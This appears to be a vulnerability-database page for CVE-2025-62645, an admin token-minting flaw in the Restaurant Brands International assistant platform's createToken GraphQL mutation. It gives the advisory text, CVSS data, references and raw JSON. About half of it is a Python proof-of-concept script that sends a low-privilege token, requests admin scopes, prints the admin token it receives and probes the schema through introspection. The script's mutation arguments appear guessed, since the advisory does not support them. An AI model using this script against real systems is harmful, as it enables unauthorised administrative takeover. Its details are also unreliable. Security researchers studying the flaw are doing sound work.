Security Vulnerability Report
中文
CVE-2025-62645 CVSS 9.9 CRITICAL

CVE-2025-62645

Published: 2025-10-17 21:15:37
Last Modified: 2025-11-04 15:13:52

Description

The Restaurant Brands International (RBI) assistant platform through 2025-09-06 allows a remote authenticated attacker to obtain a token with administrative privileges for the entire platform via the createToken GraphQL mutation.

CVSS Details

CVSS Score
9.9
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:rbi:restaurant_brands_international_assistant:*:*:*:*:*:*:*:* - VULNERABLE
Restaurant Brands International (RBI) Assistant Platform <= 2025-09-06

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62645 PoC - RBI Assistant Platform GraphQL Privilege Escalation # Exploits the createToken mutation to obtain admin-level tokens import requests import json TARGET_URL = "https://target-rbi-platform.com/graphql" LOW_PRIV_TOKEN = "USER_LOW_PRIVILEGE_JWT_TOKEN_HERE" headers = { "Content-Type": "application/json", "Authorization": f"Bearer {LOW_PRIV_TOKEN}" } # Step 1: Authenticate with low-privilege credentials # Step 2: Call createToken mutation requesting admin scopes mutation = { "query": """ mutation CreateAdminToken { createToken( input: { scopes: ["ADMIN", "PLATFORM_ADMIN", "SUPER_USER"], role: "ADMIN", expiresIn: 86400 } ) { token user { id email role scopes } expiresAt } } """ } # Step 3: Send the GraphQL request response = requests.post( TARGET_URL, headers=headers, data=json.dumps(mutation) ) # Step 4: Extract the admin token from the response if response.status_code == 200: result = response.json() if "data" in result and result["data"].get("createToken"): admin_token = result["data"]["createToken"]["token"] print(f"[+] Admin token obtained: {admin_token}") # Step 5: Use admin token to access privileged endpoints else: print(f"[-] Exploit failed: {result}") else: print(f"[-] Request failed with status {response.status_code}") # Alternative: Using GraphQL introspection to discover the schema introspection_query = { "query": """ { __schema { mutationType { fields { name args { name type { name kind } } } } } } """ } response = requests.post(TARGET_URL, headers=headers, data=json.dumps(introspection_query)) print(json.dumps(response.json(), indent=2))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62645", "sourceIdentifier": "[email protected]", "published": "2025-10-17T21:15:37.487", "lastModified": "2025-11-04T15:13:52.277", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "The Restaurant Brands International (RBI) assistant platform through 2025-09-06 allows a remote authenticated attacker to obtain a token with administrative privileges for the entire platform via the createToken GraphQL mutation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-266"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rbi:restaurant_brands_international_assistant:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025-09-06", "matchCriteriaId": "706D04A1-2EDB-4713-BA47-EFDC8A86FBA3"}]}]}], "references": [{"url": "https://archive.today/fMYQp", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://bobdahacker.com/blog/rbi-hacked-drive-thrus/", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://web.archive.org/web/20250906134240/https:/bobdahacker.com/blog/rbi-hacked-drive-thrus", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://www.malwarebytes.com/blog/news/2025/09/popeyes-tim-hortons-burger-king-platforms-have-catastrophic-vulnerabilities-say-hackers", "source": "[email protected]", "tags": ["Press/Media Coverage", "Third Party Advisory"]}, {"url": "https://www.yahoo.com/news/articles/burger-king-hacked-attackers-impressed-124154038.html", "source": "[email protected]", "tags": ["Press/Media Coverage", "Third Party Advisory"]}]}}